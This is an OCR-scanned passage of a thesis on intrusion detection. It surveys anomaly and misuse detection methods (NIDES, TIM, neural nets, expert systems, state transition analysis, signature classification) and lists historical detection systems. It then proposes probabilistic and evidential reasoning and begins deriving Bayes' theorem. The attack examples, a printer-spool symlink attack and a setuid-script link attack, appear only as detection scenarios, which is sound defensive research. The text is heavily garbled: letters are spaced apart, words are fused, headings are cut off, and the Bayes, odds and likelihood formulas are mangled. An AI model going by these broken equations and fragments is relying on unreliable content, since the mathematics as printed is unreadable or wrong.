metrics. Using a learning classifier scheme they generate an initial set of measures which
is refined in the rule evaluation mode using genetic operators of crossover and mutation.
Subsets of the measures under consideration having low predictability of intrusions are
weeded out and replaced by applying genetic operators to yield stronger measure subsets. The method assumes that combining higher predictability measure subsets allows
searching the space of metrics more efficiently than other heuristic techniques.
For a survey of other feature selection techniques, the reader is referred to [51].

2.2.3 Combining Individual Anomaly Measures to Get a Sin
Measure
Assuming that the right set of anomaly metrics can somehow be determined, the next
step is to determine how to combine the anomaly values of all the metrics to get a single
number. One method is to use Bayesian statistics, applied either fromfirstprinciples or
through belief networks [59]. Another approach, used in N I D E S [134, 135], is to combine
them using covariance matrices.

Covariance Matrices
N I D E S uses covariance matrices to account for the interrelationships among measures.
If the measures Ax,.\. ,An are represented by the vector A, then the compound anomaly
measure is determined by

ATC~lA
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where C is the covariance matrix representing the dependence between each pair of
anomaly measures A,- and Aj.

2.2.4 Predictive Pattern Generation
Predictive pattern generation is a technique of anomaly detection based on the hypothesis
that the sequences of events are not random but follow a discernible pattern. This
results in better intrusion detection because it takes into account the interrelationship
and ordering among events.
The approach of time-based inductive generalization described by Teng and Chen
[38, 39, 188] uses time-based rules to characterize the normal behavior patterns of users.
The rules, generated inductively, are modified dynamically during the learning phase
and only "good" rules, i.e., rules with a high accuracy of prediction and a high level of
confidence remain in the system. A rule has high accuracy of prediction if it is correct
most of the time, and it has a high level of confidence if it can be successfully applied
many times in observed data. A n example of a rule generated by T I M [188] m a y be
E1->E2->E3 =$ (E4 = 95%, E5 = 5%)
where E1-E5 are security events. This rule, which is based on previously observed
data, says that for the pattern of observed events El followed by E2 followed by E3, the
probability of seeing E 4 is 9 5 % and that of E5 is 5%. T I M can generate more general
rules incorporating temporal relationships among events.
The profile of the user consists of a set of rules generated inductively by observing
user behavior. A deviation is detected if the observed sequence of events matches the
left hand side of a rule but the following events deviate significantly from those predicted
by the rule.
A primary weakness of this approach is that unrecognized patterns of behavior m a y
not be recognized as anomalous because they m a y not match the left hand side of any
rule!
The strengths claimed for this approach are:

1. Better handling of users with wide variance of behavior but strong sequential p
terns.
[
1

2. Ability to focus on a few relevant security events rather than the entire login session
that has been labeled suspicious.
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Figure 2.1: A conceptual use of neural networks in Intrusion detection

3. Better sensitivity to detection of violations. Cheaters who attempt to train
tem during its learning phase can be discerned more easily because of the semantics
built into the rules.

2.2.5

Neural Networks

The basic approach here is to train a neural net on a sequence of information units [69]
(from here on referred to as commands), each of which m a y be at a more abstract level
than an audit record. The input to the net consists of the current command and the past
w commands; where w is the size of the window of past commands which the neural net
takes into account in predicting the next command. Once the neural net is trained on
a set of representative command sequences of a user, the net constitutes the profile of
the user, and the fraction of incorrectly predicted next events, which in some sense is a
measure for the variance of the user behavior from his/her profile. A conceptual diagram
depicting the use of neural nets is shown in Figure 2.1. The arrows directed at the input
layer form the sequence of the last w commands issued by the user. Every input in
this idealized representation encodes several values or levels, each of which uniquely
identifies a command. Therefore the values of the inputs, at the input layer, correspond
exactly to the sequence of the last w commands. The output layer conceptually consists
of a single multi-level output that predicts the next command to be issued by the user.
For a good introduction to neural networks and learning in neural nets by back
propagation, see the book by Winston [194].
Some of the drawbacks of this approach are:
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1. T h e topology of the net and the weights assigned to each element of the net are
determined only after considerable trial and error.
2. The size of the windows, w, is yet another independent variable in the neural net
design. If w is set too low, the net will do poorly and if it is set too high, the net
will suffer from irrelevant data.
Some advantages of this approach are:
1. The success of this approach does not depend on any statistical assumptions about
the nature of the underlying data.
2. Neural nets cope well with noisy data.
3. Neural nets can automatically account for correlations between the various measures that affect the output.

2.2.6 Bayesian Classification
Bayesian classification, described by Cheeseman [36], is technique of unsupervised classification of data. Its implementation, Autoclass [37], searches for classes in the given
data using Bayesian statistical techniques. This technique attempts to determine the
most likely processes that generate the data. It does not partition the given data into
classes but defines a probabilistic membership function of each datum in the most likely
determined classes.
S o m e advantages of this approach are:
1. Autoclass automatically determines the most probable number of classes, given the
data.
2. N o ad hoc similarity measures, stopping rules, or clustering criteria are required.
3. Continuous and discrete attributes may be freely mixed.

The concern in statistical intrusion detection is the classification of observed behavior
Techniques used till n o w have concentrated on supervised classification in which user
profiles are created based on each user's observed behavior. T h e Bayesian classification
method would permit the determination of the optimal number of classes (probabilistically computed), grouping users with similar profiles, and therefore yielding a natural
classification of a set of users.
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This approach is n e w and has not yet been implemented and tested in an intrusion
detection environment. It is not obvious h o w well Autoclass handles inherently sequential
data such as an audit trail, and h o w well the statistical distributions built into Autoclass
will handle user-generated audit trails. It is also not clear if this technique lends itself to
online data, i.e., whether it requires all the input data at once. Being statistical in nature,
it also suffers from some of the same generic setbacks of statistical systems, namely the
difficulty in determining the right anomaly thresholds and the user ability to gradually
influence class distributions.

2.3 Misuse Intrusion Detection
Misuse intrusion detection refers to the detection of intrusions by precisely defining them
ahead of time and watching for their occurrence. Since statistical techniques alone are
not adequate to detect all types of intrusions, there is a misuse component in most
intrusion detection systems. T h e limitations of statistical anomaly detection systems are
outlined in Section 2.2.1.
Intrusion scenarios (signatures) specify the features, conditions, arrangements and
interrelationships a m o n g events that lead to a break-in or other misuse. Intrusion scenarios are not only useful to detect intrusions but also attempted intrusions. A partial
satisfaction of a scenario m a y indicate an intrusion attempt.
A misuse intrusion detector which simply flags intrusions based on the pattern of
input events assumes that the state transition of the system (computer) leads to a compromised state w h e n exercised with the intrusion pattern, regardless of the initial state
of the system. Therefore, simply specifying an intrusion scenario without the beginning
state specification is most of the time sufficient to fully capture the intrusion. For a
security model definition of an intrusion and a pattern oriented approach to its detection, see also Gilgor and Shieh [171]. T h e various approaches to misuse detection are
described in the following sections.

2.3.1 Expert Systems in Intrusion Detection
T h e salient feature of using production/expert systems is the separation of control reasoning from the formulation of the problem solution.
A n example of the use of such systems in intrusion detection is described by Snapp
and S m a h a [177]!

This system encodes knowledge about attacks and intrusions as

if-then implication rules in C L I P S [72] and asserts facts corresponding to audit trail
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events. Rules are encoded to specify the conditions requisite for an attack in their if
part. W h e n all the conditions on the left side of a rule are satisfied, the actions on the
right side (then part) are performed.
Practical problems in the effective application of expert systems in intrusion detection
are the large amounts of data to be handled and the inherent ordering of the audit trail.
The main goals of expert systems in intrusion detection can be classified into the following
types:

1. to deduce symbolically the occurrence of an intrusion based on the given data. T
chief problems in this use of expert/production systems are:
(a) No inbuilt or natural handling of sequential order of data. That is, the working m e m o r y elements (fact base) that match the left sides of productions to
determine eligible rules forfiringare not recognized by the system to be sequential. Furthermore, the left side of a production rule specifies that its
elements are connected with the A N D relation. To match a natural ordering of facts within this framework, the Rete match procedures [67] test the
ordering constraints for every eligible pair after the sets of working elements
conforming to the left side of the rule have been generated.
(b) The expertise incorporated in production/expert system is only as good as
that of the security officer whose skills are modeled, which m a y not be comprehensive [132]. This is a practical consideration, and is probably a concern
at the lack of a concerted effort on the part of security experts to attempt
to distill their knowledge into a comprehensive security rule set. However, if
rule sets need to be tailored and optimized for individual environments, then
it might not be possible to circumvent this limitation.
(c) This technique can only detect known intrusions.
(d) There are software engineering concerns in the maintenance of the knowledge
base [132]. That is, additions and deletions of rules in the rule set must take
the interactions of the changes with the rest of rule sets into consideration.

2. to combine various intrusion measures and construct a cohesive picture of intrusions uncertain reasoning is required. The limitations of expert systems using
uncertainty reasoning are well-known [152]. A model that combines models of
misuse witfr reasoning to support conclusions about the occurrence of a misuse, is
model-based intrusion detection proposed by Garvey and Lunt [71]. Model-based
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intrusion detection does not replace the statistical anomaly portion of intrusion
detection systems, but complements it.

2.3.2 State Transition Analysis
In this approach, proposed in S T A T [155, 156] and implemented for U N I X in U S T A T
[93, 94], attacks are represented as a sequence of state transitions of the monitored
system. States in the attack pattern correspond to system states and have boolean
assertions associated with them that must be satisfied to transit to that state. Successive
states are connected by arcs that represent the events required for changing state. The
types of allowable events are built into the model and need not correspond one-to-one
with audit records. Attack patterns can only specify a sequence of events so more
complex ways of specifying events are not permitted. Furthermore, there is no general
purpose mechanism to prune partial matches of attacks other than through assertion
primitives built into the model. A state diagram is shown in Figure 2.2.
R U T D = user
E U T D = root
user ceatesfile1

l.in_exec /usr/ucb/lpr

user deletesfile1

i. rype(filel) = symjink
2. name(filel) =

user createsfile3

1 • name(file2) exists in
printer queue

1. name(file3) = name(file2)
2. type(file3) = symjink

Aisr/spool/printer/*
3. linkjo(filel) = file2
4. name(file2) exists in
printer queue

Figure 2.2: A state transition diagram

2.3.3 Keystroke Monitoring
This technique utilizes user keystrokes to determine the occurrence of an attack, or
presence of an attacker. The primary means is to pattern match for specific keystroke
sequences that indicate an attack. The disadvantages of this approach are the lack of
reliable mechanisms for user keystroke capture without operating system support, and
the myriad ways of expressing the same attack at the keystroke level. Furthermore,
without a semantic analysis of the keystrokes, aliases provided in user shells such as the
Cshell and Zshell can easily defeat this technique. User login shells often provide the
facility of associating parameterized shorthand names for command sequences. These are
called aliases and are similar to macro definitions. Because this technique only analyzes
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keystrokes, automated attacks which are a result of malicious program executions cannot
be detected.
S o m e systems, such as Minos [149], use statistical data gathered from user keystroke
to recognize the user. T h e primary function of Minos is to identify computer users,
and therefore Minos is a form of access control. It uses personal characteristics of users
to identify them, and thus adds "what a user is" technology to the existing "what a
user knows" (passwords) systems. Minos also maintains extensive electronic audit trails
detailing the computer actions of users.

2.3.4 Classification of Intrusion Signatures
This technique deals with "examination" of the audit trail in the context of misuse intrusion detection to find c o m m o n features of the examination process to be used to
categorize intrusion signatures. Proposed by K u m a r [111, 112], it uses pattern matching
to examine or monitor for signatures in the audit trail. In the context of misuse intrusion detection, a signature is the specification of features, conditions, arrangements and
interrelationships a m o n g events that signify a break-in or other misuse, or their attempt.
This approach encodes signatures as a formal, structured representation of low-level
system events that constitute the exploitation of the attack. T h e abstract classification
hierarchy has four categories in which a category at a higher level subsumes the category
below it in terms of the signatures that can be represented in the category. Precise bounds
on matching in each category can be m a d e by instantiating this abstract category. This
classification, in increasing order of representability of signatures, is:
1. Existence. T h e fact that something existed is sufficient to detect the intrusion
attempt.

Existence pattern can be thought of as system state predicates that

can be evaluated by inspecting the state of the system at a fixed time, rather
than predicates on events. Examples include searching for specific permissions on
specialfiles,looking for the presence of certainfiles,or ensuring thatfilecontents
follow a specific format, both syntactic and semantic. Existence patterns look for
evidence that m a y have been left behind by an intruder.
2; Sequence. T h e fact that several "high-level events" happened in strict sequence
is sufficient to specify the intrusion. T h e time to process an event for sequence
patterns depends on the events in the event stream that occurred before the event.
3. RE

Patterns. These are extended regular expressions involving events and per-

mit the direct specification of " A N D " as a primitive to construct m o r e complex
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patterns. Synchronization between sub-patterns can be represented through the
"AND"

primitive. Regular expressions allow the use of non-determinism, repeti-

tion, and the use of alternation in pattern specification.
4. Other Patterns. This category contains all other intrusion signatures that cannot
. be represented directly in one of the earlier categories.

2.4 A Generic Intrusion Detection Model
Dorothy Denning, in 1987, established a model of intrusion detection independent of the
system, type of input, and the specific intrusions to be monitored [47]. A brief description
of the generic model is helpful in relating specific examples of intrusion detection systems
presented in earlier sections to the model and viewing h o w these systems fit into or
enhance it. T h e model is still accurate in describing the architecture of m a n y current
systems.

Audit Trail/Network Packets/Application Trail
Event Generator
Assert N e w Rule
Modify Existing Rules
Generate Anomaly
Rule Set

Activity Profile

*

u

Update Profile

Generate N e w Profile Dynamically

i

CLOCK

Figure 2.3: A generic intrusion detection model
Figure 2.3 illustrates the architecture of the generic intrusion detection model. T h e
event generator is generic, the actual events m a y be audit records, network packets, or any
other observable activity. These events serve as the basis for the detection of abnormality
in the system. T h e Activity Profile is the global state of the intrusion detector. It
contains variables that calculate the behavior of the system using predefined statistical
measures. These variables are smart variables, i.e., each variable is associated with a
pattern specification that serves tofilterevent records. T h e matched records provide
data to update their value. For example, there m a y be a variable NumErrs representing
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the statistical measure sum which calculates the total number of errors committed by the
subject in a single login session. Each variable is associated with one of the statistical
measures built into the system, and is responsible for updating its state based on the
information contained in the matched event records.
The Activity Profile can also generate new profiles dynamically for newly created
subjects and objects based on pattern templates. If new users are added to the system,
or new files created, these templates instantiate new profiles for them. The Activity
Profile can also generate anomaly records when some statistical variable takes on an
anomalous value, for example when NumErrs takes on an inordinately high value. The
Rule Set represents a generic inferencing mechanism and uses event records, anomaly
records, and time expirations, among others, to control the activity of other components
and to update their state. Denning [47], however, uses rule-based system to explain the
inferencing mechanism and the nature of interaction with other components.

2.4.1 Comparison with Other Systems
The primary differences between the generic model described above and actual systems
described in previous sections are:
• H o w the rules comprising the Rule Set are determined.
• Whether the Rule Set is encoded a priori or if it can adapt and modify itself
depending on the type of intrusions.
• The nature of interaction between the Rule Set and the Activity Profile.

The basic theme, however, of formulating statistical metrics for identifying intru
computing their value, and recognizing anomalies in their values appears in most of the
systems built to-date. Conceptually, the Activity Profile module detects anomalies, while
the Rule Set module performs misuse detection. Different techniques and methods can
be substituted for these modules without altering the conceptual view substantially.
However, some newer techniques of anomaly detection do not m a p well into the
internal details of the Activity Profile. For example, the neural network approach of
anomaly detection does not easily fit the framework of smart variables and the calculation
of a number for an anomaly value. Learning and adaptation of rule sets and profiles is
not modeled well. It is also not clear in which module Time-based Inductive Model
(TIM) [188] would be placed. T I M detects behavioral anomalies and therefore might
be a candidate for being placed in the Activity Profile. O n the other hand generating
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rules andfiringthem, when conditions in the if part of the rules is satisfied, makes it a
candidate for being part of the Rule Set. Very recent approaches, like model-based [71]
approach, are too different to fit this framework directly.

2.5 Shortcomings of Current Intrusion Detection Sy
tems

The following is a commentary on the general weaknesses of intrusion detection. D
implementations rate differently along these axes of comparison.
No Generic Building Methodology. In general, the cost of building an intrusion
detection system from scratch is substantial. This is due to the lack of a structured
methodology for building these systems. N o such structuring insights have emerged
from the field itself. This m a y partly be a result of a lack of c o m m o n agreement
on the techniques for detecting intrusions and partly because intrusion detection
is a young field of research.

Efficiency. Systems have often attempted to detect every conceivable intrusion and
have not done well in practice. Anomaly detection, for example, is computationally
expensive because all profiles maintained by the system m a y need to be updated for
every event. Misuse detection has usually been implemented using expert system
shells that encode and match signatures. These shells often interpret their rule set
and therefore have a high runtime overhead. Furthermore, rule sets permit only
an indirect specification of the sequential interrelationships between events.
Portability. Intrusion detection systems have so far been produced for single environments and have proved difficult to use in other environments which m a y have
similar policies and concerns. For example, moving the detection machinery from
a system that provides a single level discretionary access control to a multi-level
secure system is nontrivial even though the same concerns m a y apply to both.
This is because much of the system has tended to be specific to the environment
being monitored. Each system is, in some sense, ad-hoc and custom-designed for
its target. Reuse and retargetting are difficult unless the system is designed in such
a generic manner that it m a y be inefficient or of limited power.
Upgradability. It is difficult to retrofit existing systems with newer and better
techniques of detection as they become available. For example, incorporating a
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Bayesian belief network [53]to predict intrusions into an existing system would be
difficult because of a lack of clear understanding of how this functionality must
interact with the rest of the system.
Maintenance. The maintenance of intrusion detection systems often requires skills
substantially more varied than a knowledge of security. Upgrading rule sets, for
example, often requires specialized knowledge about the expert system rule language and an understanding of how the system manipulates the rules. This helps
avoiding undesirable interactions between the rules already present in the system
and those being added. Similar considerations apply to the addition of statistical
metrics to the statistical component of the detector.
Performance and Coverage Benchmarks. No data has been published to date that
quantifies the performance of intrusion detection systems for a realistic set of vulnerability data and operating environment. Furthermore, there is no published
coverage data on any system, commercial or research. Coverage data would indicate the percentage of intrusions that the system would detect in a real environment.
Vendors often treat coverage qualitatively. This is partly because it is difficult to
accurately ascertain the kinds of intrusions and their frequency of occurrence in
large environments, particularly the Internet. Nonetheless, there is no published
coverage data on publicly available vulnerabilities.
No Good Way to Test. There is no easy way to test intrusion detection systems.
Potential attack scenarios are difficult to simulate and known attacks difficult to
duplicate. The lack of a c o m m o n audit trail format between systems also hampers
experimentation and comparison of the effectiveness of existing systems against
c o m m o n attack scenarios.

2.6 Developed Intrusion Detection Systems

Since 1980 when J. P. Anderson [14] first proposed the idea of detecting of anomal
ous behavior by examining audit data, several intrusion detection systems have been
developed. A chronological list of developed systems follows:
• Sytek Simple intrusion detection tool 1985-86 [126]
• Saturne LAAS/CNRS - INRIA 1984
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• N A U R S - Network Auditing Usage Reporting System SRI International 19851987 xref:[126]
• Discovery TRW Information Services 1986 [186]
• CDS A - Clyde Digital Systems Audit Digital 1987 xref:[126]

• IDES/NIDES - Next Generation Intrusion Detection Expert System SRI Inte
national 1987-94 [12, 13, 98, 97, 101, 99, 100, 131, 127, 130, 135, 133, 129, 136,
128, 134, 132]
• CMW - Compartmented Mode Workstation Mitre 1987 [154]
• NIDX - Network Intrusion Detection Expert Bellcore [24]
• Haystack USAF, Tracor Applied Science 1988 [174]

• MIDAS - Multics Intrusion Detection and Altering System NCSC 1988 [169]

• ISOA - Information Security Officer Assistant Planning Research Corpora
(PRO 1988-89 [140, 193, 192]
• Wisdom & Sense LANL 1989 [117, 118]
• N A D I R - Network Anomaly Detection and Intrusion Reporter LANL 1989 [60, 96]

• Computer Watch Audit trail Analysis Tool AT&T Bell Laboratories 1989 [5

• COPS Security Checker System Department of Computer Science, Purdue Uni
1989 [62, 64]
• T I M - Time-Based Inductive Learning DEC and UIUC 1990
[39, 187]
• N S M - Network Security Monitor UC-Davis 1990 [84]
• Minos CCSR ADFA Feb. 1991 [149]
• NICE-Network Intrusion Countermeasure Engineering University of New Mexico
1991 [82, 83]
• D I D S - Distributed Intrusion Detection System UC-Davis, LLNL, USAF-CSC,
Haystack Labs 1991 [176]
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• R E T I S S - Real Time Security System Informatics Department, University
of Milan 1991 [35]
• IDA - Intrusion Detection Alert Motorola 1991 [153]
• ISS - Intruder Security Scanner Internet Security Systems 1992 [9]

• USTAT - Unix State Transition Audit Tool UC-Santa Barbara 1992 [94, 93
• STALKER Haystack Labs 1992-94 [4]

• ID POLYCENTER Security Intrusion Detector for ULTRIX and SunOS (Forme
DECinspect) Digital 1993 [5]

• Tripwire File System Integrity Checker Purdue University 1993 [103, 1
106]
• SecureNet RACE SecureNet 1994 [180]

• ASAX - Advanced Security audit trail Analysis on uniX Faculte Univers
Notre de la Paix & Institut dlnformatique 1994 [76, 73, 75, 74, 143, 144,
145]
• CMDS - Computer Misuse Detection System Information Technology 1994
[159]
• LIE - LAN Indiscreet Eye Politecnico di Trrino 1995 [68]

• SATAN - Security Analysis Tool for Auditing Networks Dan Farmer and W
Venema 1995 [63]
• Gabriel Network Probe Detector for SATAN Los Alamos Technologies 1995
[20]
• NID - Network Intrusion Detector Computer Security Technology Center
[8]
• NetProbe (Formerly IDCA) EnGarde 1995 [146]
• KSA - Kane Security Analyst Intrusion Detection Ine 1995 [6]
• ITA - Intruder Alert AXENT Technologies, Inc. 1995 [7]
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NSA

Network Security Agent Touch Technologies, Inc. 1995

[10]
• IP-Watcher Network Security and Administration Tool EnGarde 1995 [147]

2.7 Summary

Several intrusion detection systems have been proposed and implemented since 1980
Most of them derive from the statistical intrusion detection model of Dorothy Denning
[47]. Some of them, for example N I D X [24], Haystack [174], IDES [133, 136, 128, 134],
M I D A S [169], Wisdom and Sense [117,118] and C M D S [159] use the audit trail generated
by a C 2 or higher rated computer, for input. Others, for example N I C E [82, 83] and N S M
[85], try to detect intrusions by analyzing network connections and the flow of information
in a network. Others still, such as D I D S [176, 175] and A S A X |143, 144, 145], have
extended the scope of detection by distributing anomaly detection across a heterogeneous
network and centrally analyzing partial results of these distributed sources to detect
potential intrusions that m a y be missed by the individual analysis of each source.
A m o n g non-statistical approaches to intrusion detection is the work by Teng [188, 187]
that analyzes individual user audit trails and attempts to infer the sequential relationships
between events; and the neural network modeling of behavior by Simonian et al. [69].
Approaches to misuse intrusion detection include language-based approaches to represent and detect intrusions such as A S A X [143, 144, 145], developing an Application
Programming Interface, i.e., a set of library function calls employed for representing
and detecting intrusions, such as S T A L K E R [4] and classification of intrusion signatures
[112, 113], expert systems such as M I D A S [169] and N I D X [24], and high level state
machines to encode and match signatures such as S T A T [156, 155] and U S T A T [94, 93].
A promising approach for future intrusion defection systems might involve Bayesian
classification, currently implemented in Autoclass [37, 36]. Audit trail reduction and
browsing is described by Wetmore [190]. A non-parametric pattern recognition technique is proposed by Lankewicz [116] and distributed tracing of intruders is considered
by Chen [181] is discussed. Audit trail reduction techniques permit the compression of
audit data into coarser, more abstract events, which m a y be queried later by the security
officer to retrieve information rapidly and efficiently. Non-parametric techniques for anomaly detection have the advantage that they make no assumptions about the statistical
distribution of the underlying data, and are useful when such assumptions do not hold.
Distributed tracing allows to trace actions on a network of computers all the way back

2.7. Summary

to their actual origins.

36

Chapter 3
Handling Uncertainty in Intrusion Detection
Systems

3.1

Introduction

Intrusion Detection (ID) is the identification of attempted or ongoing attacks on a computer system or network. Issues in ID research include data collection, data reduction,
behavior classification, reporting and response. Although there are m a n y significant open
problems in ID research, this work focuses on behavior classification and reporting. Classification is the process of identifying attackers and intruders. Artificial Intelligence (AI)
techniques have been used in m a n y Intrusion Detection Systems (IDS) to perform these
important tasks.
T h e importance of identifying possible attacks, in the data and information maintained by a corporation, has become a driving force in the development of numerous
systems that perform computer security audit trail analysis [55, 56]. These systems
are generally classified as "intrusion detection" systems. T h e primary purpose of an
intrusion detection system is to expose computer security breaches in a timely manner.
Rule-based systems use production rules as their formalism for representing knowledge. In its simplest form, the production rule (also termed as "if-then" rule) consists
of an antecedent, the "if" part, and a consequent, the "then" part. T h e interpretation
of the rule is: given information establishing the truth of antecedent, the truth of consequent can be inferred. In practice, production rules are applied, in accordance with
a system's control strategy, by matching rule antecedents against a database of facts;
when a successful match is m a d e , the consequent is added to the database.
However, expert knowledge is frequently suggestive rather than conclusive; the rules
m a y therefore have to include the strength that is related to the conditional probabilities
of the consequent given the antecedent, and of the antecedent given the consequent. In
traditional intrusion detection rule-based systems this issue has not been addressed.
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A n intrusion detection system frequently makes error in its detection. A n error is of
the form of 'false alarms' (false positives), where the warning signal is produced without
a real intrusion occurring, or 'missed intrusions' (false negatives) where the system fails
to detect an ongoing intrusive activity.
False alarms and missed intrusions are due to the inexact nature of profiles and uncertainty in modeling the exact sequence of events for known intrusions, since intrusions
are a combination of normal behavior. A well designed IDS should produce a very small
number of false alarms and, on the other hand, should be able to detect m a x i m u m number of intrusions. However, the two goals are contradictory as reducing false alarms, in
practice reduces 'sensitivity' of the system, hence resulting in frequent failure to detect
intrusion cases. Therefore reducing missed intrusion cases can result in a more sensitive
system and increased false alarms.
This chapter describes two new approaches to Intrusion Detection, namely Probabilistic and Evidential Reasoning. These approaches are different from traditional ones in
that they are able to deal with the uncertainty in the intrusion detection systems. Section
3.2 illustrates the objective of this chapter and Sections 3.3 and 3.4 present probabilistic
and evidential reasoning, respectively.
Parts of this chapter have been published in the Proceedings of the International
Symposia on Soft Computing and International Industrial Automation [59], Ninth In-

ternational Conference on Industrial & Artificial Intelligence & Expert Systems [57
the Australian Conference on Information Security and Privacy [58].

3.2 Objective

Most of the current intrusion detection systems are built on the concept of detec
anomalous behavior of users with respect to observed behavioral norms. This approach
may be seen as an unsupervised learning scheme for behavioral patterns with a subsequent pattern recognition approach to determine whether observed behavior falls inside or outside the pattern. In effect, a model of a user's behavior is generated based on
observations, but it is difficult to relate the model to specific (and specially proscribed)
activities. Thus, validation of the behavior of IDS' statistical algorithms m a y prove to

b e difficult.
As mentioned earlier, some intrusion detection systems include an expert system
component that attempts to encode known system vulnerabilities and attack scenarios in
its rule base (misuse detection). The IDS raises an alarm if observed activity matches
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any of its encoded rules. However, expert system technology provides no support for
developing models of intrusive behavior and encourages the development of ad hoc rules.
As mentioned in Chapter 1, one of the goals of this research is to extend the IDS
paradigm to include specific models of proscribed activities to be able to handle uncertainty in the data. These models would imply certain activities with certain observables
which could then be monitored. This would allow to actively search for intruders by
looking for activities which would be consistent with a hypothesized intrusion scenario. But the evidence can not always be matched perfectly to a hypothesized intrusion.
Therefore, a determination of the likelihood of a hypothesized intrusion would be made
based on the combination of evidence for and against it. The security of such an explicit model should be easier to validate. However, the system must be able to deal with
information that can be uncertain.
Various numerical calculi have been proposed as methods to represent and deal with
the propagation of uncertainty in a system. A m o n g the more prominent calculi are
probabilistic (in particular Bayes' Theorem methods [151, 152]), the evidence theory of
Dempster-Shafer [45,151,170], fuzzy set theory [102,196], and the M Y C I N and E M Y C I N
calculi [86, 172]. This chapter discusses the application of probabilistic and evidential
reasoning to computer intrusion detection.

3.2.1 Proposed System
The proposed system consists offivesubsystems: Scenario Models, Active Models, Predictor, Translator and Inspector (see Figure 3.1). Scenario Models subsystem is a knowledge base containing specifications of various scenarios or models of intrusion. These
models are specified in terms of sequences of user behavior that constitute the scenario.
For example, one scenario could represent an attempt to gain root access using "link"
scenario, expressed in terms of the specific user behavior involved (and not in terms of
the audit data).
Active Models subsystem contains those models for which the system has discovered
some evidence for their occurrence. The system is currently seeking additional evidence
to confirm or refute these models. As evidence is discovered which would support one
of the other scenario models, that model would be added to the active set. For example,
the system m a y have hypothesized that user A is carrying out a "link" attack, because
user A was observed to have produced a link to a file which is a user's setuid script
containing #! /bih/sh or #! /bin/csh.
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Figure 3.1: Block diagram for the system

Predictor subsystem uses the active models to hypothesize the next step in the scenario that is expected to occur. For example the hypothesized next step might be that
user A will execute the linked string to gain access.
Translator converts the hypothesized behavior into the specific attributes and values
of the audit data that would indicate that behavior. In other words, this subsystem
figures out h o w the hypothesized behavior would show up in the audit record. T o do the
translation, it uses a database of tables or matrices that m a p aspects of user behavior to
particular elements and values in the audit data. For example the hypothesis that user
A will run a "link" attack might be translated into the following things to look for in
the audit data: user A creates a file which is owned by the user, user A links thisfileto
a setuid script not owned by the user, user A executes the linked file, and user A has
access to resources which were not accessible to him before.
This mapping of aspects of user behavior to h o w the behavior will be noticed in the
audit data must exhibit properties that differentiate the particular behavior of concern
from everything else that might be occurring. These distinguishing properties must have
the following characteristics:
Easily recognized, so that they can be readily detected.
Have a high likelihood of appearing in the behavior, that is to say
P(Activity !| Behavior)
P(Activity | -"Behavior)

• Clearly associated with the behavior in question. These are called critical features
because they always occur in the behavior being looked for.
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Therefore, in addition to the descriptions of h o w the intrusive behavior will be noticed
in the audit data, there must also be included descriptions of other or normal behavior.
However, normal behavior m a y be defined simply as anything other than the particular
behavior the system is looking for. In this case, the models of intrusion must be specified
to include only aspects of behavior not exhibited unless the intrusion scenario is being
enacted.
T h e Translator then uses this information, which is the particular items in the audit
trail that are indicative of the behavior in question, to develop a plan for the specific
audit data to examine next.
Next the other subsystem, the Inspector subsystem, compares the values in the plan to
the actual values of the data observed in an attempt to confirm or refute the hypothesized
scenario. T h e results are used to update the active models, and then the process begins
again with the predictor. This process continues until enough evidence is obtained to
put the likelihood for a particular intrusion scenario over some predetermined threshold.
At this point, the system announces that a potential intrusion has been detected.
T h e models of intrusions can be used to decide what specific data should be examined
next. These models allow the system to predict the action an intruder would take w h o is
following a particular scenario. This in turn allows the system to determine specifically
which audit data to be concerned with. If the relevant data does not occur in the audit
trail, then the scenario under consideration is probably not occurring. If the system does
detect what it is looking for, then it predicts the next step and will then examine only
data specifically relevant to confirming the hypothesis of the posited intrusion, and so
on until a conclusion is reached1. Thus, a model-based system reacts to the situation,
using only the data most appropriate to the given situation and context.

3.3 Probabilistic Reasoning
Security rules can be enforced to express which behavior is symptomatic for which
threat and to evaluate the level of danger of a given threat. For each rule a weight table
expressing the level of danger of the corresponding anomalies in terms of its occurrences,
and of the subject and object involved, can be defined. Levels of danger of different
anomalies can then be combined to express the probability of a given breach.
J

T h e concern here would be what if the intruder does not behave in the predefined sequence, specially
for those part of the scenario that the sequence is not vital. O n e solution would be to keep all the
predicted steps in m e m o r y as well and examine the next audit data with these values.
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Bayes' Theorem

Bayes' Theorem [151, 152] is based on probability theory and has a sound mathematical
background contrary to certainty factors as used in M Y C I N / E M Y C I N [34]. It should
only be used when probability is a true reflection of the knowledge. Bayes' Theorem
calculates the probability of a cause, given an event, from the individual probabilities of
the event and cause and from the probability of an event, given a cause. Bayes' Theorem
is as follows:
I C) (3 1)
y
I *) - p,C} x p,E | C ) + P ( M 7 ) X p,E |^ C )
V• )
In the above "~" represents "not". The denominator could be just P(E), because

P(C i F\ =

P{C) X P{E

P(E) = P(C) x P(E | C) A P(~C) x P(E |~C)'
A general form of Bayes' Theorem is:
P(C\E)=

nOxP(E\C)
nP(C)xP(E\C))

where the denominator refers to all exhaustive and mutually exclusive hypotheses C,-,
i = 1,2,..., n. Often, these are just the two hypotheses: "an event is true" or "an event
is false", as is the case in thefirstversion of Bayes' Theorem in (3.1).
Probability theory does not provide an explicit combination function for propagating
uncertain evidence nor does it provide combination functions for composite hypotheses
in terms of the available probabilities. However, Bayes' theorem is useful in creating
expert systems because a domain expert can usually readily estimate the probability of
an effect, given a cause, P(E \ C), and also estimate the prior probability of a cause P(C).
For convenience, we can substitute cause C with the hypothesis H. In implementation,
Bayes' rule is often converted to odds and likelihood ratios.
W e use the notion of Prior Odds on H, instead of the notion of probability in probability theory, defined as:
0(H)

P{H]

-

P{H)
U[M)

-P(~H)
l-P(H)
The Posterior Odds, as opposed to the notion of conditional or posterior probability
in probability theory, can be defined as:

o(ii\n

p{HlE)
0{H

IE) ~ 1 - P(H | E)

W e now introduce two more notions: the sufficiency and necessity factors.
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Definition 3.1 Let P be a probability function on a sample space Cl. Furthermore, let
H, E C n such that 0 < P(H) < 1 and P(E \~H) > 0. The sufficiency factor S, given
H and E, is given by

P(E_[JI)_
P(E \~H)
The sufficiency factor, also called "positive likelihood", represents the degree to which
the observation of E influences the prior probability of hypothesis H. A sufficiency
factor of S > 1 indicates that the evidence E tends to confirm the. hypothesis H. While
a sufficiency factor of S < 1 indicates that the hypothesis ~ H is confirmed to some
degree by the evidence E, or in other words that the evidence E tends to not to confirm
H. If S = 1, the observation of E does not influence the prior confidence in H.

Definition 3.2 Let P be a probability function on a sample space H. Furthermore, l
H, E C ft such that 0 < P(H) < 1 and P(E \~H) > 0. The necessary factor N, given
H and E, is defined by

1-P(E\ H)
1-P(E \~H)

